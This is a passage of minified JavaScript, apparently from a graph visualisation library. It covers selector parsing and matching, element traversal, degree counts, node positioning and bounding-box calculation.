a=h(n,1),i=a[0];r.checks.push({type:ha.CLASS,value:ba(i)})}},{name:"dataExists",query:true,regex:"\\[\\s*("+va.variable+")\\s*\\]",populate:function e(t,r,n){var a=h(n,1),i=a[0];r.checks.push({type:ha.DATA_EXIST,field:ba(i)})}},{name:"dataCompare",query:true,regex:"\\[\\s*("+va.variable+")\\s*("+va.comparatorOp+")\\s*("+va.value+")\\s*\\]",populate:function e(t,r,n){var a=h(n,3),i=a[0],o=a[1],s=a[2];var u=new RegExp("^"+va.string+"$").exec(s)!=null;if(u){s=s.substring(1,s.length-1)}else{s=parseFloat(s)}r.checks.push({type:ha.DATA_COMPARE,field:ba(i),operator:o,value:s})}},{name:"dataBool",query:true,regex:"\\[\\s*("+va.boolOp+")\\s*("+va.variable+")\\s*\\]",populate:function e(t,r,n){var a=h(n,2),i=a[0],o=a[1];r.checks.push({type:ha.DATA_BOOL,field:ba(o),operator:i})}},{name:"metaCompare",query:true,regex:"\\[\\[\\s*("+va.meta+")\\s*("+va.comparatorOp+")\\s*("+va.number+")\\s*\\]\\]",populate:function e(t,r,n){var a=h(n,3),i=a[0],o=a[1],s=a[2];r.checks.push({type:ha.META_COMPARE,field:ba(i),operator:o,value:parseFloat(s)})}},{name:"nextQuery",separator:true,regex:va.separator,populate:function e(t,r){var n=t.currentSubject;var a=t.edgeCount;var i=t.compoundCount;var o=t[t.length-1];if(n!=null){o.subject=n;t.currentSubject=null}o.edgeCount=a;o.compoundCount=i;t.edgeCount=0;t.compoundCount=0;var s=t[t.length++]=da();return s}},{name:"directedEdge",separator:true,regex:va.directedEdge,populate:function e(t,r){if(t.currentSubject==null){var n=da();var a=r;var i=da();n.checks.push({type:ha.DIRECTED_EDGE,source:a,target:i});xa(t,r,n);t.edgeCount++;return i}else{var o=da();var s=r;var u=da();o.checks.push({type:ha.NODE_SOURCE,source:s,target:u});xa(t,r,o);t.edgeCount++;return u}}},{name:"undirectedEdge",separator:true,regex:va.undirectedEdge,populate:function e(t,r){if(t.currentSubject==null){var n=da();var a=r;var i=da();n.checks.push({type:ha.UNDIRECTED_EDGE,nodes:[a,i]});xa(t,r,n);t.edgeCount++;return i}else{var o=da();var s=r;var u=da();o.checks.push({type:ha.NODE_NEIGHBOR,node:s,neighbor:u});xa(t,r,o);return u}}},{name:"child",separator:true,regex:va.child,populate:function e(t,r){if(t.currentSubject==null){var n=da();var a=da();var i=t[t.length-1];n.checks.push({type:ha.CHILD,parent:i,child:a});xa(t,r,n);t.compoundCount++;return a}else if(t.currentSubject===r){var o=da();var s=t[t.length-1];var u=da();var l=da();var f=da();var c=da();o.checks.push({type:ha.COMPOUND_SPLIT,left:s,right:u,subject:l});l.checks=r.checks;r.checks=[{type:ha.TRUE}];c.checks.push({type:ha.TRUE});u.checks.push({type:ha.PARENT,parent:c,child:f});xa(t,s,o);t.currentSubject=l;t.compoundCount++;return f}else{var v=da();var d=da();var h=[{type:ha.PARENT,parent:v,child:d}];v.checks=r.checks;r.checks=h;t.compoundCount++;return d}}},{name:"descendant",separator:true,regex:va.descendant,populate:function e(t,r){if(t.currentSubject==null){var n=da();var a=da();var i=t[t.length-1];n.checks.push({type:ha.DESCENDANT,ancestor:i,descendant:a});xa(t,r,n);t.compoundCount++;return a}else if(t.currentSubject===r){var o=da();var s=t[t.length-1];var u=da();var l=da();var f=da();var c=da();o.checks.push({type:ha.COMPOUND_SPLIT,left:s,right:u,subject:l});l.checks=r.checks;r.checks=[{type:ha.TRUE}];c.checks.push({type:ha.TRUE});u.checks.push({type:ha.ANCESTOR,ancestor:c,descendant:f});xa(t,s,o);t.currentSubject=l;t.compoundCount++;return f}else{var v=da();var d=da();var h=[{type:ha.ANCESTOR,ancestor:v,descendant:d}];v.checks=r.checks;r.checks=h;t.compoundCount++;return d}}},{name:"subject",modifier:true,regex:va.subject,populate:function e(t,r){if(t.currentSubject!=null&&t.currentSubject!==r){qe("Redefinition of subject in selector `"+t.toString()+"`");return false}t.currentSubject=r;var n=t[t.length-1];var a=n.checks[0];var i=a==null?null:a.type;if(i===ha.DIRECTED_EDGE){a.type=ha.NODE_TARGET}else if(i===ha.UNDIRECTED_EDGE){a.type=ha.NODE_NEIGHBOR;a.node=a.nodes[1];a.neighbor=a.nodes[0];a.nodes=null}}}];wa.forEach((function(e){return e.regexObj=new RegExp("^"+e.regex)}));var Ea=function e(t){var r;var n;var a;for(var i=0;i<wa.length;i++){var o=wa[i];var s=o.name;var u=t.match(o.regexObj);if(u!=null){n=u;r=o;a=s;var l=u[0];t=t.substring(l.length);break}}return{expr:r,match:n,name:a,remaining:t}};var _a=function e(t){var r=t.match(/^\s+/);if(r){var n=r[0];t=t.substring(n.length)}return t};var ka=function e(t){var r=this;var n=r.inputText=t;var a=r[0]=da();r.length=1;n=_a(n);for(;;){var i=Ea(n);if(i.expr==null){qe("The selector `"+t+"`is invalid");return false}else{var o=i.match.slice(1);var s=i.expr.populate(r,a,o);if(s===false){return false}else if(s!=null){a=s}}n=i.remaining;if(n.match(/^\s*$/)){break}}var u=r[r.length-1];if(r.currentSubject!=null){u.subject=r.currentSubject}u.edgeCount=r.edgeCount;u.compoundCount=r.compoundCount;for(var l=0;l<r.length;l++){var f=r[l];if(f.compoundCount>0&&f.edgeCount>0){qe("The selector `"+t+"` is invalid because it uses both a compound selector and an edge selector");return false}if(f.edgeCount>1){qe("The selector `"+t+"` is invalid because it uses multiple edge selectors");return false}else if(f.edgeCount===1){qe("The selector `"+t+"` is deprecated.  Edge selectors do not take effect on changes to source and target nodes after an edge is added, for performance reasons.  Use a class or data selector on edges instead, updating the class or data of an edge when your app detects a change in source or target nodes.")}}return true};var Sa=function e(){if(this.toStringCache!=null){return this.toStringCache}var t=function e(t){if(t==null){return""}else{return t}};var r=function e(r){if(C(r)){return'"'+r+'"'}else{return t(r)}};var n=function e(t){return" "+t+" "};var a=function e(a,o){var s=a.type,u=a.value;switch(s){case ha.GROUP:{var l=t(u);return l.substring(0,l.length-1)}case ha.DATA_COMPARE:{var f=a.field,c=a.operator;return"["+f+n(t(c))+r(u)+"]"}case ha.DATA_BOOL:{var v=a.operator,d=a.field;return"["+t(v)+d+"]"}case ha.DATA_EXIST:{var h=a.field;return"["+h+"]"}case ha.META_COMPARE:{var p=a.operator,g=a.field;return"[["+g+n(t(p))+r(u)+"]]"}case ha.STATE:{return u}case ha.ID:{return"#"+u}case ha.CLASS:{return"."+u}case ha.PARENT:case ha.CHILD:{return i(a.parent,o)+n(">")+i(a.child,o)}case ha.ANCESTOR:case ha.DESCENDANT:{return i(a.ancestor,o)+" "+i(a.descendant,o)}case ha.COMPOUND_SPLIT:{var y=i(a.left,o);var m=i(a.subject,o);var b=i(a.right,o);return y+(y.length>0?" ":"")+m+b}case ha.TRUE:{return""}}};var i=function e(t,r){return t.checks.reduce((function(e,n,i){return e+(r===t&&i===0?"$":"")+a(n,r)}),"")};var o="";for(var s=0;s<this.length;s++){var u=this[s];o+=i(u,u.subject);if(this.length>1&&s<this.length-1){o+=", "}}this.toStringCache=o;return o};var Ca={parse:ka,toString:Sa};var Da=function e(t,r,n){var a;var i=C(t);var o=I(t);var s=C(n);var u,l;var f=false;var c=false;var v=false;if(r.indexOf("!")>=0){r=r.replace("!","");c=true}if(r.indexOf("@")>=0){r=r.replace("@","");f=true}if(i||s||f){u=!i&&!o?"":""+t;l=""+n}if(f){t=u=u.toLowerCase();n=l=l.toLowerCase()}switch(r){case"*=":a=u.indexOf(l)>=0;break;case"$=":a=u.indexOf(l,u.length-l.length)>=0;break;case"^=":a=u.indexOf(l)===0;break;case"=":a=t===n;break;case">":v=true;a=t>n;break;case">=":v=true;a=t>=n;break;case"<":v=true;a=t<n;break;case"<=":v=true;a=t<=n;break;default:a=false;break}if(c&&(t!=null||!v)){a=!a}return a};var Ta=function e(t,r){switch(r){case"?":return t?true:false;case"!":return t?false:true;case"^":return t===undefined}};var Pa=function e(t){return t!==undefined};var Ma=function e(t,r){return t.data(r)};var Ia=function e(t,r){return t[r]()};var Oa=[];var Na=function e(t,r){return t.checks.every((function(e){return Oa[e.type](e,r)}))};Oa[ha.GROUP]=function(e,t){var r=e.value;return r==="*"||r===t.group()};Oa[ha.STATE]=function(e,t){var r=e.value;return ya(r,t)};Oa[ha.ID]=function(e,t){var r=e.value;return t.id()===r};Oa[ha.CLASS]=function(e,t){var r=e.value;return t.hasClass(r)};Oa[ha.META_COMPARE]=function(e,t){var r=e.field,n=e.operator,a=e.value;return Da(Ia(t,r),n,a)};Oa[ha.DATA_COMPARE]=function(e,t){var r=e.field,n=e.operator,a=e.value;return Da(Ma(t,r),n,a)};Oa[ha.DATA_BOOL]=function(e,t){var r=e.field,n=e.operator;return Ta(Ma(t,r),n)};Oa[ha.DATA_EXIST]=function(e,t){var r=e.field,n=e.operator;return Pa(Ma(t,r))};Oa[ha.UNDIRECTED_EDGE]=function(e,t){var r=e.nodes[0];var n=e.nodes[1];var a=t.source();var i=t.target();return Na(r,a)&&Na(n,i)||Na(n,a)&&Na(r,i)};Oa[ha.NODE_NEIGHBOR]=function(e,t){return Na(e.node,t)&&t.neighborhood().some((function(t){return t.isNode()&&Na(e.neighbor,t)}))};Oa[ha.DIRECTED_EDGE]=function(e,t){return Na(e.source,t.source())&&Na(e.target,t.target())};Oa[ha.NODE_SOURCE]=function(e,t){return Na(e.source,t)&&t.outgoers().some((function(t){return t.isNode()&&Na(e.target,t)}))};Oa[ha.NODE_TARGET]=function(e,t){return Na(e.target,t)&&t.incomers().some((function(t){return t.isNode()&&Na(e.source,t)}))};Oa[ha.CHILD]=function(e,t){return Na(e.child,t)&&Na(e.parent,t.parent())};Oa[ha.PARENT]=function(e,t){return Na(e.parent,t)&&t.children().some((function(t){return Na(e.child,t)}))};Oa[ha.DESCENDANT]=function(e,t){return Na(e.descendant,t)&&t.ancestors().some((function(t){return Na(e.ancestor,t)}))};Oa[ha.ANCESTOR]=function(e,t){return Na(e.ancestor,t)&&t.descendants().some((function(t){return Na(e.descendant,t)}))};Oa[ha.COMPOUND_SPLIT]=function(e,t){return Na(e.subject,t)&&Na(e.left,t)&&Na(e.right,t)};Oa[ha.TRUE]=function(){return true};Oa[ha.COLLECTION]=function(e,t){var r=e.value;return r.has(t)};Oa[ha.FILTER]=function(e,t){var r=e.value;return r(t)};var za=function e(t){var r=this;if(r.length===1&&r[0].checks.length===1&&r[0].checks[0].type===ha.ID){return t.getElementById(r[0].checks[0].value).collection()}var n=function e(t){for(var n=0;n<r.length;n++){var a=r[n];if(Na(a,t)){return true}}return false};if(r.text()==null){n=function e(){return true}}return t.filter(n)};var Aa=function e(t){var r=this;for(var n=0;n<r.length;n++){var a=r[n];if(Na(a,t)){return true}}return false};var La={matches:Aa,filter:za};var Ba=function e(t){this.inputText=t;this.currentSubject=null;this.compoundCount=0;this.edgeCount=0;this.length=0;if(t==null||C(t)&&t.match(/^\s*$/));else if(z(t)){this.addQuery({checks:[{type:ha.COLLECTION,value:t.collection()}]})}else if(D(t)){this.addQuery({checks:[{type:ha.FILTER,value:t}]})}else if(C(t)){if(!this.parse(t)){this.invalid=true}}else{Fe("A selector must be created from a string; found ")}};var ja=Ba.prototype;[Ca,La].forEach((function(e){return ie(ja,e)}));ja.text=function(){return this.inputText};ja.size=function(){return this.length};ja.eq=function(e){return this[e]};ja.sameText=function(e){return!this.invalid&&!e.invalid&&this.text()===e.text()};ja.addQuery=function(e){this[this.length++]=e};ja.selector=ja.toString;var Ra={allAre:function e(t){var r=new Ba(t);return this.every((function(e){return r.matches(e)}))},is:function e(t){var r=new Ba(t);return this.some((function(e){return r.matches(e)}))},some:function e(t,r){for(var n=0;n<this.length;n++){var a=!r?t(this[n],n,this):t.apply(r,[this[n],n,this]);if(a){return true}}return false},every:function e(t,r){for(var n=0;n<this.length;n++){var a=!r?t(this[n],n,this):t.apply(r,[this[n],n,this]);if(!a){return false}}return true},same:function e(t){if(this===t){return true}t=this.cy().collection(t);var r=this.length;var n=t.length;if(r!==n){return false}if(r===1){return this[0]===t[0]}return this.every((function(e){return t.hasElementWithId(e.id())}))},anySame:function e(t){t=this.cy().collection(t);return this.some((function(e){return t.hasElementWithId(e.id())}))},allAreNeighbors:function e(t){t=this.cy().collection(t);var r=this.neighborhood();return t.every((function(e){return r.hasElementWithId(e.id())}))},contains:function e(t){t=this.cy().collection(t);var r=this;return t.every((function(e){return r.hasElementWithId(e.id())}))}};Ra.allAreNeighbours=Ra.allAreNeighbors;Ra.has=Ra.contains;Ra.equal=Ra.equals=Ra.same;var Fa=function e(t,r){return function e(n,a,i,o){var s=n;var u=this;var l;if(s==null){l=""}else if(z(s)&&s.length===1){l=s.id()}if(u.length===1&&l){var f=u[0]._private;var c=f.traversalCache=f.traversalCache||{};var v=c[r]=c[r]||[];var d=Pe(l);var h=v[d];if(h){return h}else{return v[d]=t.call(u,n,a,i,o)}}else{return t.call(u,n,a,i,o)}}};var Va={parent:function e(t){var r=[];if(this.length===1){var e=this[0]._private.parent;if(e){return e}}for(var n=0;n<this.length;n++){var a=this[n];var i=a._private.parent;if(i){r.push(i)}}return this.spawn(r,true).filter(t)},parents:function e(t){var e=[];var r=this.parent();while(r.nonempty()){for(var n=0;n<r.length;n++){var a=r[n];e.push(a)}r=r.parent()}return this.spawn(e,true).filter(t)},commonAncestors:function e(t){var r;for(var n=0;n<this.length;n++){var a=this[n];var i=a.parents();r=r||i;r=r.intersect(i)}return r.filter(t)},orphans:function e(t){return this.stdFilter((function(e){return e.isOrphan()})).filter(t)},nonorphans:function e(t){return this.stdFilter((function(e){return e.isChild()})).filter(t)},children:Fa((function(e){var t=[];for(var r=0;r<this.length;r++){var n=this[r];var a=n._private.children;for(var i=0;i<a.length;i++){t.push(a[i])}}return this.spawn(t,true).filter(e)}),"children"),siblings:function e(t){return this.parent().children().not(this).filter(t)},isParent:function e(){var t=this[0];if(t){return t.isNode()&&t._private.children.length!==0}},isChildless:function e(){var t=this[0];if(t){return t.isNode()&&t._private.children.length===0}},isChild:function e(){var t=this[0];if(t){return t.isNode()&&t._private.parent!=null}},isOrphan:function e(){var t=this[0];if(t){return t.isNode()&&t._private.parent==null}},descendants:function e(t){var r=[];function n(e){for(var t=0;t<e.length;t++){var a=e[t];r.push(a);if(a.children().nonempty()){n(a.children())}}}n(this.children());return this.spawn(r,true).filter(t)}};function qa(e,t,r,n){var a=[];var i=new it;var o=e.cy();var s=o.hasCompoundNodes();for(var u=0;u<e.length;u++){var l=e[u];if(r){a.push(l)}else if(s){n(a,i,l)}}while(a.length>0){var f=a.shift();t(f);i.add(f.id());if(s){n(a,i,f)}}return e}function Ga(e,t,r){if(r.isParent()){var n=r._private.children;for(var a=0;a<n.length;a++){var i=n[a];if(!t.has(i.id())){e.push(i)}}}}Va.forEachDown=function(e){var t=arguments.length>1&&arguments[1]!==undefined?arguments[1]:true;return qa(this,e,t,Ga)};function Ya(e,t,r){if(r.isChild()){var n=r._private.parent;if(!t.has(n.id())){e.push(n)}}}Va.forEachUp=function(e){var t=arguments.length>1&&arguments[1]!==undefined?arguments[1]:true;return qa(this,e,t,Ya)};function Xa(e,t,r){Ya(e,t,r);Ga(e,t,r)}Va.forEachUpAndDown=function(e){var t=arguments.length>1&&arguments[1]!==undefined?arguments[1]:true;return qa(this,e,t,Xa)};Va.ancestors=Va.parents;var Wa,Ha;Wa=Ha={data:la.data({field:"data",bindingEvent:"data",allowBinding:true,allowSetting:true,settingEvent:"data",settingTriggersEvent:true,triggerFnName:"trigger",allowGetting:true,immutableKeys:{id:true,source:true,target:true,parent:true},updateStyle:true}),removeData:la.removeData({field:"data",event:"data",triggerFnName:"trigger",triggerEvent:true,immutableKeys:{id:true,source:true,target:true,parent:true},updateStyle:true}),scratch:la.data({field:"scratch",bindingEvent:"scratch",allowBinding:true,allowSetting:true,settingEvent:"scratch",settingTriggersEvent:true,triggerFnName:"trigger",allowGetting:true,updateStyle:true}),removeScratch:la.removeData({field:"scratch",event:"scratch",triggerFnName:"trigger",triggerEvent:true,updateStyle:true}),rscratch:la.data({field:"rscratch",allowBinding:false,allowSetting:true,settingTriggersEvent:false,allowGetting:true}),removeRscratch:la.removeData({field:"rscratch",triggerEvent:false}),id:function e(){var t=this[0];if(t){return t._private.data.id}}};Wa.attr=Wa.data;Wa.removeAttr=Wa.removeData;var Ua=Ha;var Ka={};function $a(e){return function(t){var r=this;if(t===undefined){t=true}if(r.length===0){return}if(r.isNode()&&!r.removed()){var n=0;var a=r[0];var i=a._private.edges;for(var o=0;o<i.length;o++){var s=i[o];if(!t&&s.isLoop()){continue}n+=e(a,s)}return n}else{return}}}ie(Ka,{degree:$a((function(e,t){if(t.source().same(t.target())){return 2}else{return 1}})),indegree:$a((function(e,t){if(t.target().same(e)){return 1}else{return 0}})),outdegree:$a((function(e,t){if(t.source().same(e)){return 1}else{return 0}}))});function Za(e,t){return function(r){var n;var a=this.nodes();for(var i=0;i<a.length;i++){var o=a[i];var s=o[e](r);if(s!==undefined&&(n===undefined||t(s,n))){n=s}}return n}}ie(Ka,{minDegree:Za("degree",(function(e,t){return e<t})),maxDegree:Za("degree",(function(e,t){return e>t})),minIndegree:Za("indegree",(function(e,t){return e<t})),maxIndegree:Za("indegree",(function(e,t){return e>t})),minOutdegree:Za("outdegree",(function(e,t){return e<t})),maxOutdegree:Za("outdegree",(function(e,t){return e>t}))});ie(Ka,{totalDegree:function e(t){var r=0;var n=this.nodes();for(var a=0;a<n.length;a++){r+=n[a].degree(t)}return r}});var Qa,Ja;var ei=function e(t,r,n){for(var a=0;a<t.length;a++){var i=t[a];if(!i.locked()){var o=i._private.position;var s={x:r.x!=null?r.x-o.x:0,y:r.y!=null?r.y-o.y:0};if(i.isParent()&&!(s.x===0&&s.y===0)){i.children().shift(s,n)}i.dirtyBoundingBoxCache()}}};var ti={field:"position",bindingEvent:"position",allowBinding:true,allowSetting:true,settingEvent:"position",settingTriggersEvent:true,triggerFnName:"emitAndNotify",allowGetting:true,validKeys:["x","y"],beforeGet:function e(t){t.updateCompoundBounds()},beforeSet:function e(t,r){ei(t,r,false)},onSet:function e(t){t.dirtyCompoundBoundsCache()},canSet:function e(t){return!t.locked()}};Qa=Ja={position:la.data(ti),silentPosition:la.data(ie({},ti,{allowBinding:false,allowSetting:true,settingTriggersEvent:false,allowGetting:false,beforeSet:function e(t,r){ei(t,r,true)},onSet:function e(t){t.dirtyCompoundBoundsCache()}})),positions:function e(t,r){if(P(t)){if(r){this.silentPosition(t)}else{this.position(t)}}else if(D(t)){var n=t;var a=this.cy();a.startBatch();for(var i=0;i<this.length;i++){var o=this[i];var s=void 0;if(s=n(o,i)){if(r){o.silentPosition(s)}else{o.position(s)}}}a.endBatch()}return this},silentPositions:function e(t){return this.positions(t,true)},shift:function e(t,r,n){var a;if(P(t)){a={x:I(t.x)?t.x:0,y:I(t.y)?t.y:0};n=r}else if(C(t)&&I(r)){a={x:0,y:0};a[t]=r}if(a!=null){var i=this.cy();i.startBatch();for(var o=0;o<this.length;o++){var s=this[o];if(i.hasCompoundNodes()&&s.isChild()&&s.ancestors().anySame(this)){continue}var u=s.position();var l={x:u.x+a.x,y:u.y+a.y};if(n){s.silentPosition(l)}else{s.position(l)}}i.endBatch()}return this},silentShift:function e(t,r){if(P(t)){this.shift(t,true)}else if(C(t)&&I(r)){this.shift(t,r,true)}return this},renderedPosition:function e(t,r){var n=this[0];var a=this.cy();var i=a.zoom();var o=a.pan();var s=P(t)?t:undefined;var u=s!==undefined||r!==undefined&&C(t);if(n&&n.isNode()){if(u){for(var l=0;l<this.length;l++){var f=this[l];if(r!==undefined){f.position(t,(r-o[t])/i)}else if(s!==undefined){f.position(kt(s,i,o))}}}else{var c=n.position();s=_t(c,i,o);if(t===undefined){return s}else{return s[t]}}}else if(!u){return undefined}return this},relativePosition:function e(t,r){var n=this[0];var a=this.cy();var i=P(t)?t:undefined;var o=i!==undefined||r!==undefined&&C(t);var s=a.hasCompoundNodes();if(n&&n.isNode()){if(o){for(var u=0;u<this.length;u++){var l=this[u];var f=s?l.parent():null;var c=f&&f.length>0;var v=c;if(c){f=f[0]}var d=v?f.position():{x:0,y:0};if(r!==undefined){l.position(t,r+d[t])}else if(i!==undefined){l.position({x:i.x+d.x,y:i.y+d.y})}}}else{var h=n.position();var p=s?n.parent():null;var g=p&&p.length>0;var y=g;if(g){p=p[0]}var m=y?p.position():{x:0,y:0};i={x:h.x-m.x,y:h.y-m.y};if(t===undefined){return i}else{return i[t]}}}else if(!o){return undefined}return this}};Qa.modelPosition=Qa.point=Qa.position;Qa.modelPositions=Qa.points=Qa.positions;Qa.renderedPoint=Qa.renderedPosition;Qa.relativePoint=Qa.relativePosition;var ri=Ja;var ni,ai;ni=ai={};ai.renderedBoundingBox=function(e){var t=this.boundingBox(e);var r=this.cy();var n=r.zoom();var a=r.pan();var i=t.x1*n+a.x;var o=t.x2*n+a.x;var s=t.y1*n+a.y;var u=t.y2*n+a.y;return{x1:i,x2:o,y1:s,y2:u,w:o-i,h:u-s}};ai.dirtyCompoundBoundsCache=function(){var e=arguments.length>0&&arguments[0]!==undefined?arguments[0]:false;var t=this.cy();if(!t.styleEnabled()||!t.hasCompoundNodes()){return this}this.forEachUp((function(t){if(t.isParent()){var r=t._private;r.compoundBoundsClean=false;r.bbCache=null;if(!e){t.emitAndNotify("bounds")}}}));return this};ai.updateCompoundBounds=function(){var e=arguments.length>0&&arguments[0]!==undefined?arguments[0]:false;var t=this.cy();if(!t.styleEnabled()||!t.hasCompoundNodes()){return this}if(!e&&t.batching()){return this}function r(e){if(!e.isParent()){return}var t=e._private;var r=e.children();var n=e.pstyle("compound-sizing-wrt-labels").value==="include";var a={width:{val:e.pstyle("min-width").pfValue,left:e.pstyle("min-width-bias-left"),right:e.pstyle("min-width-bias-right")},height:{val:e.pstyle("min-height").pfValue,top:e.pstyle("min-height-bias-top"),bottom:e.pstyle("min-height-bias-bottom")}};var i=r.boundingBox({includeLabels:n,includeOverlays:false,useCache:false});var o=t.position;if(i.w===0||i.h===0){i={w:e.pstyle("width").pfValue,h:e.pstyle("height").pfValue};i.x1=o.x-i.w/2;i.x2=o.x+i.w/2;i.y1=o.y-i.h/2;i.y2=o.y+i.h/2}function s(e,t,r){var n=0;var a=0;var i=t+r;if(e>0&&i>0){n=t/i*e;a=r/i*e}return{biasDiff:n,biasComplementDiff:a}}function u(e,t,r,n){if(r.units==="%"){switch(n){case"width":return e>0?r.pfValue*e:0;case"height":return t>0?r.pfValue*t:0;case"average":return e>0&&t>0?r.pfValue*(e+t)/2:0;case"min":return e>0&&t>0?e>t?r.pfValue*t:r.pfValue*e:0;case"max":return e>0&&t>0?e>t?r.pfValue*e:r.pfValue*t:0;default:return 0}}else if(r.units==="px"){return r.pfValue}else{return 0}}var l=a.width.left.value;if(a.width.left.units==="px"&&a.width.val>0){l=l*100/a.width.val}var f=a.width.right.value;if(a.width.right.units==="px"&&a.width.val>0){f=f*100/a.width.val}var c=a.height.top.value;if(a.height.top.units==="px"&&a.height.val>0){c=c*100/a.height.val}var v=a.height.bottom.value;if(a.height.bottom.units==="px"&&a.height.val>0){v=v*100/a.height.val}var d=s(a.width.val-i.w,l,f);var h=d.biasDiff;var p=d.biasComplementDiff;var g=s(a.height.val-i.h,c,v);var y=g.biasDiff;var m=g.biasComplementDiff;t.autoPadding=u(i.w,i.h,e.pstyle("padding"),e.pstyle("padding-relative-to").value);t.autoWidth=Math.max(i.w,a.width.val);o.x=(-h+i.x1+i.x2+p)/2;t.autoHeight=Math.max(i.h,a.height.val);o.y=(-y+i.y1+i.y2+m)/2}for(var n=0;n<this.length;n++){var a=this[n];var i=a._private;if(!i.compoundBoundsClean||e){r(a);if(!t.batching()){i.compoundBoundsClean=true}}}return this};var ii=function e(t){if(t===Infinity||t===-Infinity){return 0}return t};var oi=function e(t,r,n,a,i){if(a-r===0||i-n===0){return}if(r==null||n==null||a==null||i==null){return}t.x1=r<t.x1?r:t.x1;t.x2=a>t.x2?a:t.x2;t.y1=n<t.y1?n:t.y1;t.y2=i>t.y2?i:t.y2;t.w=t.x2-t.x1;t.h=t.y2-t.y1};var si=function e(t,r){if(r==null){return t}return oi(t,r.x1,r.y1,r.x2,r.y2)};var ui=function e(t,r,n){return Je(t,r,n)};var li=function e(t,r,n){if(r.cy().headless()){return}var a=r._private;var i=a.rstyle;var o=i.arrowWidth/2;var s=r.pstyle(n+"-arrow-shape").value;var u;var l;if(s!=="none"){if(n==="source"){u=i.srcX;l=i.srcY}else if(n==="target"){u=i.tgtX;l=i.tgtY}else{u=i.midX;l=i.midY}var f=a.arrowBounds=a.arrowBounds||{};var c=f[n]=f[n]||{};c.x1=u-o;c.y1=l-o;c.x2=u+o;c.y2=l+o;c.w=c.x2-c.x1;c.h=c.y2-c.y1;Wt(c,1);oi(t,c.x1,c.y1,c.x2,c.y2)}};var fi=function e(t,r,n){if(r.cy().headless()){return}var a;if(n){a=n+"-"}else{a=""}var i=r._private;var o=i.rstyle;var s=r.pstyle(a+"label").strValue;if(s){var u=r.pstyle("text-halign");var l=r.pstyle("text-valign");var f=ui(o,"labelWidth",n);var c=ui(o,"labelHeight",n);var v=ui(o,"labelX",n);var d=ui(o,"labelY",n);var h=r.pstyle(a+"text-margin-x").pfValue;var p=r.pstyle(a+"text-margin-y").pfValue;var g=r.isEdge();var y=r.pstyle(a+"text-rotation");var m=r.pstyle("text-outline-width").pfValue;var b=r.pstyle("text-border-width").pfValue;var x=b/2;var w=r.pstyle("text-background-padding").pfValue;var E=2;var _=c;var k=f;var S=k/2;var C=_/2;var D,T,P,M;if(g){D=v-S;T=v+S;P=d-C;M=d+C}else{switch(u.value){case"left":D=v-k;T=v;break;case"center":D=v-S;T=v+S;break;case"right":D=v;T=v+k;break}switch(l.value){case"top":P=d-_;M=d;break;case"center":P=d-C;M=d+C;break;case"bottom":P=d;M=d+_;break}}D+=h-Math.max(m,x)-w-E;T+=h+Math.max(m,x)+w+E;P+=p-Math.max(m,x)-w-E;M+=p+Math.max(m,x)+w+E;var I=n||"main";var O=i.labelBounds;var N=O[I]=O[I]||{};N.x1=D;N.y1=P;N.x2=T;N.y2=M;N.w=T-D;N.h=M-P;var z=g&&y.strValue==="autorotate";var A=y.pfValue!=null&&y.pfValue!==0;if(z||A){var L=z?ui(i.rstyle,"labelAngle",n):y.pfValue;var B=Math.cos(L);var j=Math.sin(L);var R=(D+T)/2;var F=(P+M)/2;if(!g){switch(u.value){case"left":R=T;break;case"right":R=D;break}switch(l.value){case"top":F=M;break;case"bottom":F=P;break}}var V=function e(t,r){t=t-R;r=r-F;return{x:t*B-r*j+R,y:t*j+r*B+F}};var q=V(D,P);var G=V(D,M);var Y=V(T,P);var X=V(T,M);D=Math.min(q.x,G.x,Y.x,X.x);T=Math.max(q.x,G.x,Y.x,X.x);P=Math.min(q.y,G.y,Y.y,X.y);M=Math.max(q.y,G.y,Y.y,X.y)}var W=I+"Rot";var H=O[W]=O[W]||{};H.x1=D;H.y1=P;H.x2=T;H.y2=M;H.w=T-D;H.h=M-P;oi(t,D,P,T,M);oi(i.labelBounds.all,D,P,T,M)}return t};var ci=function e(t,r){var n=t._private.cy;var a=n.styleEnabled();var i=n.headless();var o=Vt();var s=t._private;var u=t.isNode();var l=t.isEdge();var f,c,v,d;var h,p;var g=s.rstyle;var y=u&&a?t.pstyle("bounds-expansion").pfValue:[0];var m=function e(t){return t.pstyle("display").value!=="none"};var b=!a||m(t)&&(!l||m(t.source())&&m(t.target()));if(b){var x=0;var w=0;if(a&&r.includeOverlays){x=t.pstyle("overlay-opacity").value;if(x!==0){w=t.pstyle("overlay-padding").value}}var E=0;var _=0;if(a&&r.includeUnderlays){E=t.pstyle("underlay-opacity").value;if(E!==0){_=t.pstyle("underlay-padding").value}}var k=Math.max(w,_);var S=0;var C=0;if(a){S=t.pstyle("width").pfValue;C=S/2}if(u&&r.includeNodes){var D=t.position();h=D.x;p=D.y;var T=t.outerWidth();var P=T/2;var M=t.outerHeight();var I=M/2;f=h-P;c=h+P;v=p-I;d=p+I;oi(o,f,v,c,d)}else if(l&&r.includeEdges){if(a&&!i){var O=t.pstyle("curve-style").strValue;f=Math.min(g.srcX,g.midX,g.tgtX);c=Math.max(g.srcX,g.midX,g.tgtX);v=Math.min(g.srcY,g.midY,g.tgtY);d=Math.max(g.srcY,g.midY,g.tgtY);f-=C;c+=C;v-=C;d+=C;oi(o,f,v,c,d);if(O==="haystack"){var N=g.haystackPts;if(N&&N.length===2){f=N[0].x;v=N[0].y;c=N[1].x;d=N[1].y;if(f>c){var z=f;f=c;c=z}if(v>d){var A=v;v=d;d=A}oi(o,f-C,v-C,c+C,d+C)}}else if(O==="bezier"||O==="unbundled-bezier"||O==="segments"||O==="taxi"){var L;switch(O){case"bezier":case"unbundled-bezier":L=g.bezierPts;break;case"segments":case"taxi":L=g.linePts;break}if(L!=null){for(var B=0;B<L.length;B++){var j=L[B];f=j.x-C;c=j.x+C;v=j.y-C;d=j.y+C;oi(o,f,v,c,d)}}}}else{var R=t.source();var F=R.position();var V=t.target();var q=V.position();f=F.x;c=q.x;v=F.y;d=q.y;if(f>c){var G=f;f=c;c=G}if(v>d){var Y=v;v=d;d=Y}f-=C;c+=C;v-=C;d+=C;oi(o,f,v,c,d)}}if(a&&r.includeEdges&&l){li(o,t,"mid-source");li(o,t,"mid-target");li(o,t,"source");li(o,t,"target")}if(a){var X=t.pstyle("ghost").value==="yes";if(X){var W=t.pstyle("ghost-offset-x").pfValue;var H=t.pstyle("ghost-offset-y").pfValue;oi(o,o.x1+W,o.y1+H,o.x2+W,o.y2+H)}}var 